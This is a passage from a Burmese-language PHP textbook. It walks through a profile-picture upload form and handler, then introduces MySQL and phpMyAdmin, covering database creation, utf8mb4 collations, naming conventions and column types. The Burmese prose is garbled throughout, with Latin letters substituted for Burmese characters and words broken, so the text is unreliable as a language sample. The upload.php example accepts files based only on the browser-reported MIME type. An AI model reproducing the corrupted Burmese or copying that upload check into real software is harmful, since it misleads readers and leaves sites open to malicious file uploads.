dပးလုိက်ပါတယ်။ move_uploaded_file() အတွက် လက်ရှိတည်dနရာနဲ့ သိမ်းလုိတဲ့တည်dနရာနဲ့
oုိင်အမည်တို့ကို  dပးရတာပါ။  လကရ်ှိတည်dနရာအdနနဲ့  tmp_name ကdနရတဲ့တန်oုိးကို  dပးလုိက်ပါ
တယ်။ သိမ်းလုိတဲ့တည်dနရာအgoစ်  Path  လမ်းdeကာင်းကို  dပးရမှာပါ။ နမူနာမှာ dပးမထားပါzူး။  oုိင်
အမည်အdနနဲ့  မူရင်းအမည်ကိုပဲ  gပန်သံုးထားပါတယ်။  တည်dနရာမdပးတဲ့အတွက်  လက်ရှိ
upload.php ရိှdနတဲ့ oုိဒါထဲမှာပဲ oုိင်ကို dရ¢့ပြပီးမူရင်းအမည်နဲ့ သိမ်းdပးသွားမှာပဲ goစ်ပါတယ်။

ဒီdနရာမှာ  dတွ့ရdလရ့ှိတဲ့gပဿနာကdတာ့  oုိဒါ  Permission  gပဿနာပါ။  Windows  dတွမှာ  သိပ်
gပဿနာ မရှိdပမယ့်၊  Linux  တို့  Mac  တို့မှာ သင့်dတာ်တဲ့  oုိဒါ  Permission  dပးမထားရင် အ့ဲဒီoိုဒါထဲမှာ
PHP  က  oုိင်ကိုသိမ်းdပးနိုင်မှာ  မဟုတ်zဲ  Permission  Denied  Error  တက်ပါလိမ့်မယ်။  ဒါdeကာင့်
Permission  Denied  Error  dတွ့ခဲ့ရင်  File  deကာင့်တက်တဲ့  gပဿနာမဟုတ်zဲ  oုိဒါ  Permission  ကို
dgပာင်းdပးoို့ လုိအပ်dနတာ ဆိုတာကို သတိgပုပါ။

ဒီလုပ်dဆာင်ချက်ကို  dရးလက်စ  ပdရာZျက်ထဲမှာလည်း  ထပ်ထည့်ပါဦးမယ်။  ဒါdeကာင့်  project  ထဲမှာ
လုိအပ်တဲ့ oုိင်နဲ့ oုိဒါdတွကို အခုလုိ ထပ်မံထည့်သွင်းdပးပါ။
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project/
├── css/
│     └── bootstrap.min.css
│
├── _actions/
│     ├── photos/
│     ├── upload.php
│     ├── login.php
│     └── logout.php
│
├── index.php
├── register.php
└── profile.php

_actions oုိဒါထဲမှာ photos/ oုိဒါနဲ့  upload.php oုိင်တို့ကို ထပ်တိုးလုိက်တာပါ။ ပြပီးတဲ့အခါ dရး
လက်စ profile.php မှာ အခုလုိ goည့်စွက်dပးပါ။

…

<h1 class="mb-3">John Doe</h1>

<?php if(isset($_GET['error'])): ?>
    <div class="alert alert-warning">
        Cannot upload file
    </div>
<?php endif ?>
<?php if(file_exists('_actions/photos/profile.jpg')): ?>
    <img 
        class="img-thumbnail mb-3"
        src="_actions/photos/profile.jpg"
        alt="Profile Photo" width="200">
<?php endif ?>
<form action="_actions/upload.php" method="post" 

enctype="multipart/form-data">
<div class="input-group mb-3">

<input type="file" name="photo" class="form-control">
<button class="btn btn-secondary">Upload</button>

</div>
</form>
<ul class="list-group">

… 
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နZိdုရးလက်စ <h1> Element နဲ့  <ul> Element eကားထဲမှာ ထပ်goည့်dပးလုိက်တာပါ။ အလုပ် (၃) ခု
လုပ်ထားပါတယ်။ အကယ်၍ URL Query မှာ  error တန်oုိးရှိdနရင်  Error Message ကို gပdပးထားပါ
တယ်။  ပြပီးတဲ့အခါ  file_exists() Function  နဲ့  profile.jpg ရိှမရှိစစ်ပြပီး  ရိှရင်  <img>
Element  နဲ့  gပခိုင်းထားပါတယ်။  ပြပီးတဲ့အခါ  Form  တစ်ခု  ဆက်လက်ပါဝင်ပါတယ်။  <input
type="file"> နဲ့  Profile  Picture  dရွးပြပီး  ပ့ုိလ့ုိရတဲ့  Form  ပါ။  ဒီလိုထည့်သွင်းdပးလုိက်ရင်
profile.php ရဲ့ အသွင်အgပင်က အခုလုိ goစ်သွားပါပြပီ။

ဆက်လက်ပြပီးdတာ့ _actions/upload.php မှာ oုိင်ကိုသိမ်းdပးတဲ့ကုဒ်ကို အခုလုိdရးသားdပးပါ။
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 PHP 
<?php
$error = $_FILES['photo']['error'];
$tmp = $_FILES['photo']['tmp_name'];
$type = $_FILES['photo']['type'];

if($error) {
header('location: ../profile.php?error=file');
exit();

}

if($type === "image/jpeg" or $type === "image/png") {
move_uploaded_file($tmp, "photos/profile.jpg");
header('location: ../profile.php');

} else {
header('location: ../profile.php?error=type');

}

$_FILES Superglobal ကdန error, type နဲ့  tmp_name တို့ကို ထုတ်ယူထားပါတယ်။ error
ရိှdနရင်  ဆက်အလုပ်မလုပ်zဲ  ../profile.php ကို  error URL  Query  နဲ့  gပန်သွားခိုင်းထားပါ
တယ်။  ပြပီးတဲ့အခါ  dပးပ့ုိလာတဲ့oုိင်ကို  ပံု  ဟုတ်မဟုတ်စစ်ချင်တဲ့အတွက်  type ကို  image/jpeg
သ့ုိမဟုတ်  image/png ဟုတ်မဟုတ်  စစ်ထားပါတယ်။  ဟတု်မှန်dတာ့မှ  oုိင်ကို  photos/ oုိဒါထဲမှာ
သိမ်းdပးပြပီး၊  မဟုတ်မှန်zူးဆိုရင်  ../profile.php ကို  error URL Query  နဲ့  gပန်သွားခိုင်းလုိက်
တာပါ။

ဒါdeကာင့် ပံုမဟုတ်တဲ့ oုိင်တစ်ခုခုကို dရွးပြပီး ပ့ုိလုိက်ရင်  Error Message  ကိုdတွ့gမင်ရမှာgoစ်ပြပီး ပံုတစ်ခု
ကို အdသအချာdရွးပြပီး ပ့ုိလိုက်ရင်dတာ့ ရလဒ်က အခုလုိgoစ်မှာပါ။
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ဒီနည်းနဲ့ dရးလက်စပdရာZျက်မှာ  Profile Picture  dgပာင်းလ့ုိရတဲ့ လုပ်dဆာင်ချက်လည်း ပါဝင်သွားပြပီပဲ
goစ်ပါတယ်။
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အခန်း (၃၈) – MySQL Database

ကdန့အချနိ်မှာ  အထင်ရှားဆုံးနဲ့  လူသံုးအများဆုံး  Relational  Database  Management  System
(RDBMS) (၅)  မျ ို းရှိတယ်လို့  ဆိုနိုင်ပါတယ်။  MySQL, MSSQL, Oracle, PostgreSQL  နဲ့  SQLite  တို့ပါ။
အားလံုးက Data dတွကို အgပန်အလှန် ဆက်စပ်dနတဲ့ Database Table ထဲမှာသိမ်းဆည်းပြပီး SQL Query
Language နဲ့ စီမံရတဲ့ နည်းပညာdတွပါ။ အခုdနာက်ပိုင်းမှာ အ့ဲဒီလုိ  အgပန်အလှန်ဆက်စပ်dနတဲ့  Table
dတွမှာ  Data  ကိုသိမ်းတာမဟုတ်dတာ့တဲ့  NoSQL Database  နည်းပညာdတွလည်း ထွက်dပါ်အသံုးတွင်
ကျယ်လာeကပါတယ်။ Redis, MongoDB စတဲ့ Database နည်းပညာdတွပါ။

အထင်ရှားဆုံး  RDBMS (၅)  မျ ို းထဲမှာ တစ်ခုအပါအဝင်goစ်တဲ့  SQLite  က  Standalone Database  dခါ်
Database  ကို  oုိင်တစ်ခုလုိ  သယ်သွားလ့ုိရတဲ့  Database  အမျ ို းအစားgoစ်ပါတယ်။ ကျန်  (၄)  ခကုdတာ့
Client-Server  ပံုစံအလုပ်လုပ်လုိ့  Database Server  အdနနဲ့ အသံုးgပုရပါတယ်။ ဒီစာအုပ်မှာ ထည့်သွင်း
dလ့လာeကမှာကdတာ့ MySQL Database နည်းပညာပဲ goစ်ပါတယ်။

MySQL Database  မှာ မူကွဲနှစ်မျ ို းရှိပါတယ်။ မူလ  MySQL  နဲ့  အ့ဲဒီ မူလ  MySQL Source Code  ကdန
Fork  လုပ်ယူပြပီး  တီထွင်ထားတဲ့  MariaDB  လ့ုိdခါ်တဲ့  နည်းပညာပါ။  မူလ  MySQL  ဟာ  Open Source
နည်းပညာတစ်ခုgoစ်သလုိ  Commercial  အခdပး  ဝန်dဆာင်မှုအdနနဲ့လည်း  ရနိုင်တဲ့  နည်းပညာပါ။
gပဿနာက  MySQL  ရဲ့  ပထမပုိင်ရှင်goစ်တဲ့  MySQL AB  လ့ုိdခါ်တဲ့  ကုမ္ပဏီနေကို  Sun Microsystems  က
dဒါ်လာ (၁) zီလီယံနဲ့ ဝယ်ယူလုိက်တဲ့အတွက် MySQL ရဲ့ ဒုတိယပုိင်ရှင် goစ်သွားပါတယ်။ သိပ်မeကာခင်
မှာပဲ Sun Micorsystems ကို Oracle က ထပ်ဆင့်ဝယ်ယူလုိက်gပန်လို့ MySQL ရဲ့ တတိယနဲ့ လက်ရှိပုိင်ရှင်
က Oracle goစ်dနပါတယ်။ 
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ဒါdeကာင့်  Oracle  လ့ုိdခါ်တဲ့  အgခားထင်ရှားတဲ့  Commercial  Database  နည်းပညာနဲ့  MySQL  တို့ရဲ့
ပုိင်ရှင်ဟာ တစ်ဦးတည်း goစ်သွားပါတယ်။ ဒီအdgခအdနကို တစ်ချ ို ့က စိတ်ပူeကပါတယ်။ Oracle အdနနဲ့
MySQL  ရဲ့  မူလ  Open Source  လမ်းစဉ်ကdန dသွoီသွားdစမှာကို  စတိ်ပူeကတာပါ။  ဒါdeကာင့်  ပထမ
ပုိင်ရှင်goစ်တဲ့  MySQL AB ကို ပူးdပါင်းတည်dထာင်သူ တစ်ဦးကပဲ ဦးdဆာင်ပြပီးdတာ့  MySQL ရဲ့  Source
Code ကို Fork လုပ် ပွားယူလုိက်ပါတယ်။ Open Source ပdရာZျက်dတွမှာ သတ်မှတ်ချက်များနဲ့အညီ အ့ဲ
ဒီလုိ ပွားယူခွင့်  ရိှပါတယ်။ သတ်မှတ်ချက်များနဲ့အညီ ဆိုတာကို  သတိgပုပါ။ ယူချင်သလုိ ယူလ့ုိရတာမျ ို း
dတာ့ မဟုတ်ပါzူး။ အ့ဲဒီလုိ ပွားယူထားတဲ့  မူကွဲကို  MariaDB  ဆိုတဲ့အမည်နဲ့  Open Source  နည်းပညာ
အgoစ် ဆက်လက် ရပ်တည်လာခဲ့လ့ုိ အခုဆိရုင် မူလ MySQL နဲ့ MariaDB ဆိုပြပီး မူကွဲနှစ်ခုရှိdနတာပါ။

XAMPP  ကို  Install  လုပ်လုိက်စဉ်မှာ  ပါဝင်သွားတဲ့  Database  နည်းပညာက  MySQL  မဟုတ်ပါzူး။
MariaDB goစ်ပါတယ်။ ဒါdပမယ့် MySQL   နဲ့    MariaDB   တို့ဟာ   Drop-in Replacement   dခါ် တစ်ခုdနရာ  
မှာ  dနာက်တစ်ခုကို  အချနိ်မdရွးအစားထုိး  အသံုးgပုနိုင်တဲ့  နည်းပညာdတွပါ။  Source  မတူdပမယ့်
အသံုးgပုပုံ  အတူတူပါပဲ။ ဒါdeကာင့် အdခါ်အdဝါ်dတွ ရှုပ်လ့ုိ  MariaDB  ဆိုတဲ့အသံုးအနှုန်းအစား  MySQL
ဆိုတဲ့ အသံုးအနှုန်းကိုသာ ဆက်လက်အသံုးgပုသွားမှာ goစ်ပါတယ်။ PHP zက်ကdန ကုဒ်dတွdရးတဲ့အခါ
မှာလည်း MySQL အမည်နဲ့ရှိdနတဲ့ Standard Function dတွ  Standard Class dတွကို အသုံးgပုရမှာပါ။

XAMPP ကို Install လုပ်လုိက်စဉ်မှာ Database နည်းပညာတင် မကပါzူး။ အ့ဲဒီ Database ကို စီမံလို့ရတဲ့
Software တစ်ခုgoစ်တဲ့  phpMyAdmin လ့ုိdခါ်တဲ့ နည်းပညာကိုပါ တစ်ခါထဲ ထည့်သွင်းdပးထားပါတယ်။
ဒါdeကာင့်  Database  စီမံတဲ့အလုပ်ကို  phpMyAdmin  နဲ့  ဆက်လက်dဆာင်ရွက်သွားeကမှာ goစ်ပါတယ်။
PHP  ကိုအသံုးgပုdရးသားထားတဲ့  Software  တစ်ခုgoစ်လ့ုိ  သီးgခားပရိုZရမ်တစ်ခုအdနနဲ့  oွင့်စရာ မလုိပါ
zူး။ Web Browser မှာ လိပ်စာရိုက်ထည့်ပြပီး အသံုးgပုနိုင်ပါတယ်။ ဒီလိုပါ –

localhost/phpmyadmin

ဒီလုိ Browser URL မှာရိုက်ထည့်လုိက်ရင် အခုလုိ phpMyAdmin Interface ကို dတွ့gမင်ရမှာgoစ်ပါတယ်။
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zယ်zက်  Sidebar  ထဲမှာ  Database  စာရင်းရှိdနပြပီး  ညာzက်  Main Area  အdပါ်နားမှာ  Menu Bar
ရိှdနပါတယ်။  Menu Bar  ကdန  Databases  ကို  နှိပ်eကည့်လုိက်ရင်  Sidebar  ထဲက စာရင်းနဲ့  တူညီတဲ့
Database စာရင်းကိုပဲ ရမှာပါ။ ဒါdပမယ့် ထူးgခားချက်အdနနဲ့  Database အသစ်dဆာက်လ့ုိရတဲ့  Create
Database Form တစ်ခုပါ ပူးတွဲပါဝင်တာကို အခုလုိ dတွ့ရမှာ goစ်ပါတယ်။
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Database  အသစ်တည်dဆာက်o့ုိအတွက်  အချက်အလက်  (၂)  ခုdပးရပါတယ်။  Database  အမည်နဲ့
Collation goစ်ပါတယ်။ Collation   ဆိုတာ   Data   dတွကို   Sorting   စီတဲ့အခါ၊ နှိုင်းယှဉ်တဲ့အခါ zယ်ပံုzယ်  
နည်း စရီမယ်၊ နှိုင်းယှဉရ်မယ်ဆိုတဲ့ နည်းလမ်းသတ်မှတ်ချက်ပါ။ စမ်းeကည့်နိုင်o့ုိအတွက် Database Name
dနရာမှာ  project လ့ုိdပးလုိက်ပါ။  Collation  ကdတာ့  သူအလုိအdလျှာက်  dရွးdပးထားတဲ့
utf8mb4_general_ci က အဆင်dgပပါတယ်။ ဒီအတိုင်းထားလုိက်ရမှာပါ။

UTF-8  ဆိုတာ  Character  Encoding  နည်းပညာပါ။  ABC,  ကခZ  စတဲ့  စာdတွ  သိမ်းပုံသိမ်းနည်းလ့ုိ
အလွယ်dgပာနိုင်ပါတယ်။ ASCII, Latin1 စတဲ့တgခား Character Set/Encoding နည်းပညာdတွ ရှိပါdသး
တယ်။  ASCII  တို့  Latin1  တို့ဟာ အZ[လိပ်စာနဲ့၊  စပိန်၊  dပါ်တူZီ  စတဲ့  လက်တင်စာdတွ သိမ်းo့ုိအတွက်
သင့်dတာ်dပမယ့် gမန်မာစာလုိ စာမျ ို းdတွ သိမ်းoို့အတွက် မသင့်dတာ်ပါzူး။  UTF-8  ကdတာ့ gမန်မာစာ
အပါအဝင် အZ[လိပ်နဲ့  လက်တင်မဟုတ်တဲ့ စာdတွသိမ်းoို့အတွက် ပုိသင့်dတာ်လို့  အခုdနာက်ပုိင်း  UTF-8
ကိုပဲ သံုးeကပါတယ်။ zယ်လုိ၊ zာdeကာင့် ပုိသင့်dတာ်တာလဲဆိုတဲ့ အdသးစိတ်ကိုdတာ့ ဒီdနရာမှာ ထည့်
dgပာနိုင်မှာ မဟုတ်ပါzူး။

mb4 ဆိုတာ Multi-Byte (4-byte) ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ ABC ဆိုတဲ့ စာလံုးdလးdတွ သိမ်းoုိ့အတွက် စာလံုး
တစ်လံုးကို 1-byte ပဲလုိပါတယ်။ ကခZ ဆိတုဲ့ gမန်မာစာ စာလံုးdတွ သိမ်းo့ုိအတွက် စာလံုးတစ်လံုးကို 3-
byte လုိအပ်ပါတယ်။ အခုdနာက်ပုိင်း Emoji dလးdတွကို dနရာတိုင်းမှာ သံုးeကတာ အားလံုးအသိပါ။ အ
ရင်က အ့ဲဒီ  Emoji  dလးdတွက စာလံုး  Character  dလးdတွ မဟုတ်eကပါzူး။ ပံုdလးdတွ  (သ့ုိမဟုတ်)
ရိုးရိုးသdက[တdလးdတွကို dပါင်းစပ်ထားတာပါ။ အခုdတာ့ အ့ဲဒီ Emoji dလးdတွ ကိုယ်တိုင်က စာdရးတဲ့
အခါ ထည့်dရးလို့ရတဲ့  Character dလးdတွ goစ်dနeကပါပြပီ။ ဒီ Emoji Character dတွကို သိမ်းo့ုိအတွက်
dတာ့ 4-byte လုိအပ်ပါတယ်။ ဒါdeကာင့် mb4 ကိdုရွးထားမှသာ Emoji dတွ ထည့်dရးထားတဲ့ စာdတွကို
စီမံတဲ့အခါ ပုိမှန်မှာပါ။

Collation  မှာ  general_ci နဲ့  unicode_ci ဆိုပြပီး  မူကွဲနှစ်မျ ို း  ရိှeကပါdသးတယ်။  ci ကdတာ့
Case Insensitive ရဲ့ အတိုdကာက်ပါ။ ဒါdeကာင့် ci ပါတဲ့ Collation ကိdုရွးထားရင် Aa, Bb စတဲ့ စာလံုး
အကြကီးအdသးမတူလို့  ရှာရင် မdတွ့zူးဆိုတာမျ ို း မgoစ်dတာ့ပါzူး။  general နဲ့  unicode ကလည်း
အdgခခံအားgoင့်  တူပါတယ်။  unicode ဆိုတာ  Unicode  Consortium  လ့ုိdခါ်တဲ့  အoဲွ့အစည်းက
သတ်မှတ်ထားတဲ့  နည်းလမ်းအတိုင်း  အတိအကျအလုပ်လုပ်တယ်ဆိုတဲ့  သdzာgoစ်ပြပီး၊  general



PWD 2022 – အခန်း (၃၈) – MySQL Database 576

ကdတာ့ အတိအကျ မဟုတ်zဲ  Database က ပုိသင့်dတာ်မယ်လ့ုိ ယူဆတဲ့နည်းလမ်းနဲ့ အလုပ်လုပ်တယ်
ဆိုတဲ့သdzာ goစ်ပါတယ်။ ဒါdeကာင့်  unicode ကိုdရွးရင် ရှာတာ၊ စီတာdတွ ပုိမှန်နိုင်ပြပီး၊  general
ကိdုရွးရင် ပုိgမန်နိုင်တယ်လ့ုိ dကာက်ချက်ချချင်ပါတယ်။ ဒါကdတာ့ စာdရးသူရဲ့ dကာက်ချက်သက်သက်မ့ုိ
လဲွdကာင်းလဲွနိုင်ပါတယ်။

ဒီdလာက်ဆိုရင်  utf8mb4_general_ci ဆိုတာ  zာကိုdgပာတာလဲ  ဆိုတဲ့  အeကမ်းoျဉ်း
သdzာသzာဝ  ကို  သိရှိသွားမယ်လို့  ယူဆပါတယ်။  ဆက်လက်စမ်းသပ်နိုင်oုိ့  Create Button  ကိုနှိပ်
လုိက်ပါ။ အ့ဲဒီလုိ နှိပ်လိုက်တာနဲ့ project အမည်နဲ့ Database တစ်ခုကို တည်dဆာက်ရရှိပါပြပီ။

ဒီdနရာမှာ phpMyAdmin ရဲ့ Feature အားလံုးနဲ့ MySQL ရဲ့ Feature အားလံုးကို ထည့်သွင်းdoာ်gပနိုင်မှာ
မဟုတ်ပါzူး။  လက်dတွ့ပdရာZျက်dတွမှာ  လုိအပ်မယ့်အပုိင်းကိုသာ  dရးွထုတ်doာ်gပသွားမှာ  goစ်ပါ
တယ်။ ဒါdeကာင့် MySQL အdeကာင်းနဲ့  phpMyAdmin ရဲ့  Feature dတွကို ဒီထက်ပုိပြပီး gပည့်gပည့်စုံစုံ သိ
ချင်တယ်ဆိုရင် ဆက်လက်dလ့လာo့ုိ လုိအပ်dသးတယ်လ့ုိ မှတ်ထားရမှာပါ။

Database  တည်dဆာက်ပြပီးတဲ့အခါ တည်dဆာက်လုိက်တဲ့  Database  ကို အလုိအdလျှာက် dရးွdပးထား
တာကို dတွ့ရမှာ goစ်ပါတယ်။ အခုမှအသစ်dဆာက်တဲ့ Database goစ်လ့ုိ No tables found in database
ဆိုတဲ့  Message  နဲ့အတူ  Table  dတွတည်dဆာက်လ့ုိရတဲ့  Create  Table  Form  ကို  dတွ့gမင်ရမှာပါ။
အကယ်၍  Create Table Form  ကို  မdတွ့zူးဆိုရင် zယ်zက်  Sidebar  ထဲကdန ကိုယ်တည်dဆာက်
လုိက်တဲ့ Database အမည်goစ်တဲ့ project ကို နှိပ်eကည့်လုိ့ ရပါတယ်။
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Table တစ်ခုစတင် တည်dဆာက်နိုင်o့ုိအတွက် Name dနရာမှာ roles လ့ုိdပးပြပီး Number of columns
dနရာမှာ 3 လ့ုိdပးလုိက်ပါ။ ပြပီးရင် Go ခလုပ်ကို နှိပ်လုိက်ပါ။ ဒါဆိုရင် Column (၃) ခုပါဝင်တဲ့ Table တစ်
ခု တည်dဆာက်o့ုိအတွက် dနာက်ထပ် Form တစ်ခုကို အခုလို dတွ့gမင်ရမှာ goစ်ပါတယ်။

ပါဝင်ရမယ့်  Column dတွအတွက်  Name, Type, Length/Values  စသည်goင့် လုိအပ်တဲ့  Property  dတွ
ဆက်လက် သတ်မှတ်dပးရမှာပါ။
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Name –  Laravel အပါအဝင် တစ်ချ ို ့ Framework dတွက Convention Over Configuration ဆိုတဲ့နည်း
ကို  အသံုးgပုeကပါတယ်။  အဓိပ္ပါယ်က၊  အမည်မှန်dအာင်dပးရင်  လုပ်သင့်တဲ့အလုပ်ကို  အလိုအdလျှာက်
လုပ်dပးတယ်ဆိုတဲ့  သdzာပါ။  ဒါdeကာင့်  အမည်dတွ  dပးပုံdပးနည်းကို  Zရုစိုက်eကo့ုိ  လုိပါတယ်။
အdသးစိတ် စည်းကမ်းချက်dတွကdတာ့ သက်ဆိုင်ရာ Framework dပါ်မူတည်ပါတယ်။ ဒါdပမယ့် အများ
အားgoင့် အသံုးgပုeကdလ့ရှိတဲ့ အdgခခံမူdတွကိုdတာ့ dgပာလ့ုိရပါတယ်။ 

ပထမဆုံးမှတ်သားရမယ့် အချက်ကdတာ့ Database Name, Table Name, Column Name စတဲ့ အမည်
အားလံုးကို  Snake Case    နဲ့ dပးရပါတယ်  ။  Snake Case ဆိုတာ စာလံုးအdသးdတွချည်းပဲသံုးပြပီး  Space
လုိအပ်တဲ့dနရာမှာ Space အစား Underscore ကို အသံုးgပုတဲ့ dရးဟန်ပါ (ဥပမာ - php_my_admin)။
တgခားအမည်dပးပုံdတွgoစ်တဲ့  Camel Case (ဥပမာ  -  phpMyAdmin)  နဲ့  Capital Case/Pascal Case
(ဥပမာ  -  PhpMyAdmin)  တို့ကို  သ့ူdနရာနဲ့သူ သံုးရတဲ့dနရာdတွ ရှိdပမယ့်  Database  နဲ့ပက်သက်တဲ့
အမည်dတွမှာdတာ့ Snake Case ကိုသာ သံုးeကdလ့ရှိပါတယ်။ ဒါဟာ Convention ဆိုတာကို သတိgပုပါ။
Syntax  မဟုတ်ပါzူး။  လုိက်နာရင်  စနစ်ပုိကျdပမယ့်  မလုိက်နာရင်လည်း  အလုပ်လုပ်တဲ့အတွက်  ကိုယ့်
zက်က သတိထားပြပီး လုိက်နာdပးo့ုိ လုိအပ်ပါတယ်။

အမည်နဲ့ပက်သက်ရင် dနာက်ထပ်မှတ်သားသင့်တဲ့ အချက်ကdတာ့ Table Name   dတွကို   Plural   dပးသင့်  
တယ် ဆိုတဲ့အချက်goစ်ပါတယ်။ users, roles, categories စသည်goင့်  Plural  အdနနဲ့ dပးရ
တာပါ။ အထဲမှာ User dတွအများကြကီးရှိတယ်။ Role dတွအများကြကီးရှိတယ်။ Category dတွ အများကြကီးရှိ
တယ်ဆိုတဲ့  အဓိပ္ပါယ်ပါပဲ။  ကုဒ်dရးတဲ့အခါမှာလည်း တန်oုိးအများကို  သိမ်းရင်  Variable Name  dတွကို
Plural  dပးသင့်တာပါပဲ။  ဒီdရးနည်းdလးက  dနာက်ပုိင်းမှာ  dတာက်dလျှာက်  အကျ ို းgပုတာကို
အdတွ့အကြကုံရလာတဲ့အခါ သိလာပါလိမ့်မယ်။

dနာက်ထပ်မှတ်သားသင့်တဲ့အချက်ကdတာ့  Double Context    ကို အမည်gပန်ထပ်တာdတွကို  dရာှင်ရှားo့ုိ  
goစ်ပါတယ်။ ဥပမာ  -  users Table  ထဲမှာ  user_id ဆိုတဲ့  Column  ရိှမယ်ဆိုရင် အမည်gပန်ထပ်တဲ့
သdzာပါပဲ။ တစ်ကယ်dတာ့  id ဆိုရင် ရပါပြပီ။  users Table ထဲက id မ့ုိလ့ုိ  user_id goစ်deကာင်း
Context အရ dပါ်လွင်ပြပီးgoစ်လုိ့ gပန်ထပ်dအာင် မdပးသင့်dတာ့ပါzူး။ ဒါဟာလည်း dရရှည်မှာ အကျ ို းgပု
မယ့် မှတ်သားစရာdလး တစ်ခုပါပဲ။
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gပန်dကာက်ရရင်  မှတ်သားစရာ  (၃)  ခုdgပာခဲ့တာပါ။  Database,  Table,  Column  အမည်အားလံုးကို
Snake Case နဲ့dပးသင့်တယ်။ Table အမည်ဟာ Plural goစ်သင့်တယ်။ Double Context ကို dရှာင်ရမယ်
ဆိုတဲ့ (၃) ချက်goစ်ပါတယ်။

Type – MySQL  မှာ  Column Type  အများအgပား ရှိပါတယ်။ အသံုးများမယ့်  Type  dတွကdတာ့  INT,
VARCHAR,  TEXT,  DATETIME  နဲ့  TIMESTAMP  တို့goစ်ပါတယ်။  မှန်ကန်တဲ့  Type  ကို  dရးွdပးထားမှ၊
တွက်ချက်မှုdတွ၊ နှိုင်းယှဉ်မှုdတွနဲ့  Sorting စီတဲ့ကိစ္စလုိ အလုပ်မျ ို းdတွကို  Database က မှန်dအာင် လုပ်
dပးနိုင်မှာပါ။ ကိန်းgပည့် ကိန်းZဏနေန်းdတွသိမ်းo့ုိ INT ကို သံုးနိုင်ပါတယ်။ ဒဿမကိန်းdတွ သိမ်းoို့အတွက်
FLOAT လည်းရှိပါတယ်။ VARCHAR   ကိုdတာ့ အdရအတွက် အကန့်အသတ်ရှိတဲ့ စာdတွသိမ်းo့ုိ   သုံးနိုင်ပါ
တယ်။ Variable Length Character ဆိုတဲ့အဓိပ္ပါယ်ပါ။ လူအမည်၊ အီးdမးလ်၊ oုန်းနံပါတ်၊ ပတ်စ်ဝပ် စတဲ့
အချက်အလက်မျ ို းdတွဟာ အdရအတွက်အားgoင့် အကန့်အသတ်နဲ့သာ သိမ်းo့ုိလိုတဲ့ စာအမျ ို းအစားdတွ
ပါ။  အdရအတွက်  အကန့်အသတ်dgပာo့ုိခက်တဲ့  စာdတွဆိရုင်dတာ့    TEXT    ကို  သံုးသင့်ပါတယ်  ။ သတင်း
Article  dတွ၊  ပ့ုိစ်dတွ၊  ကိုယd်ရးအချက်အလက်dတွ၊  လိပ်စာdတွဆိုရင်  အdရအတွက်  အကန့်အသတ်
dgပာo့ုိခက်လ့ုိ TEXT ကို သံုးသင့်ပါတယ်။

DATETIME  ကိုdတာ့  ရက်စွဲနဲ့အချနိ်  ပူးတွဲပြပီး  သိမ်းo့ုိအတွက်  သံုးနိုင်ပါတယ်။  Year-Month-Day
Hour:Minute:Second Format  ကိုသုံးပါတယ်  (ဥပမာ  2020-01-11 14:30:22)။  DATE  သပ်သပ်
TIME သပ်သပ် သိမ်းချင်ရင်လည်း Column Type dတရွှိပါတယ်။ TIMESTAMP ကdတာ့ ရက်စွဲအချနိ်ကိုပဲ
Timestamp Format နဲ့ သိပ်dပးတာပါ။ Timestamp ဆိုတာ ၁၉၇၀ gပည့်နှစ် ဇန်နဝါရီ (၁) ရက်dန့ကdန
လက်ရှိအချနိ်ထိ စက္ကန့်စုစုdပါင်းကို dgပာတာပါ။

Length/Values –  VARCHAR Column Type    ကိုအသံုးgပုလုိရင်    Length    သတ်မှတ်dပးရပါတယ်  ။ မgoစ်
မdန သတ်မှတ်dပးo့ုိ လုိအပ်တာပါ။ သိမ်းလိုတဲ့စာရဲ့ အgမင့်ဆုံးgoစ်နိုင်တဲ့ စာလံုးအdရအတွက်ကို dပးရတဲ့
သdzာပါ။ တgခား Column အမျ ို းအစားdတွမှာ မdပးရင်လည်း ရပါတယ်။



PWD 2022 – အခန်း (၃၈) – MySQL Database 580

Default –  Data  dတွကို  Table  ထဲမှာ  သိမ်းစဉ်မှာ  သက်ဆိုင်ရာ  Column  အတွက်  တန်oုိးမdပးခဲ့ရင်
Default  အdနနဲ့  သိမ်းdပးdစလုိတဲ့တန်oုိးရှရိင်  သတ်မှတ်dပးထားနိုင်ပါတယ်။  phpMyAdmin  က dပး
ထားတဲ့ Select Box ကdန As defined: ကိdုရွးပြပီး ကိုယ်dပးချင်တဲ့ တန်oုိးကို dပးနိုင်ပါတယ်။

Collation – Collation deကာင်းကို အထက်မှာ dgပာခဲ့ပြပီးgoစ်ပါတယ်။ Database တည်dဆာက်စဉ်က dရးွ
ခဲ့တဲ့ Collation ကို မသုံးzဲ သက်ဆိုင်ရာ Column အတွက် သီးgခား Collation သတ်မှတ်လုိရင်လည်း dရွး
ပြပီး သတ်မှတ်နိုင်o့ုိ dပးထားတာပါ။

Attributes – Column Type မှာ  INT (သ့ုိမဟုတ်) FLOAT ကိုdရွးပြပီး  Attributes  dနရာ UNSIGNED ကို
dရးွdပးလုိက်မယ်ဆိုရင် အနှုတ်ကိန်းdတွ သိမ်းလို့မရdတာ့ပါzူး။ အနှုတ်ကိန်းdတွ သိမ်းo့ုိမလုိတဲ့  dနရာ
မှာ dရွးချယ်dပးထားမယ်ဆိုရင် Data dတွရဲ့ dနရာယူမှု သက်သာသွားနိုင်ပါတယ်။

Null –  Null  ကိုdပးလာတဲ့အခါ  လက်ခံလုိရင်  dရးွထားနိုင်ပါတယ်။ ဥပမာ –  မှတ်ပံုတင်အမှတ်  သိမ်းoို့
Column  မှာ  Null  ကိုလက်ခံမယ်ဆိုရင်  မှတ်ပံုတင်မရှိလုိ့  မdပးခဲ့ရင်လည်း  လက်ခံdပးသွားမှာပါ။
အကယ်၍  Null  ကို  လက်မခံzူးဆိုရင်dတာ့ မှတ်ပံုတင် ရိှရှိ  မရှိရှိ  တန်oုိးတစ်ခုကို  dပးကို  dပးရပါdတာ့
မယ်။  Database  က မdပးရင် လက်မခံdတာ့ပါzူး။ ဒါdeကာင့်  Null  dပးတာကို လက်ခံသင့်တဲ့  Column
dတွမှာ Null ကို dရးွထားသင့်ပါတယ်။

Index –  Index  ဆိုတာ စာအုပ်တစ်အုပ်မှာ  မာတိကာနဲ့  စာမျက်နှာနံပါတ်  တပ်dပးလုိက်သလုိပဲ၊  Table
ထဲက  Data  dတွအတွက်  မာတိကာနဲ့  စာမျက်နှာနံပါတ်  တပ်dပးလုိက်တာပါပဲ။  မာတိကာနဲ့  စာမျက်နှာ
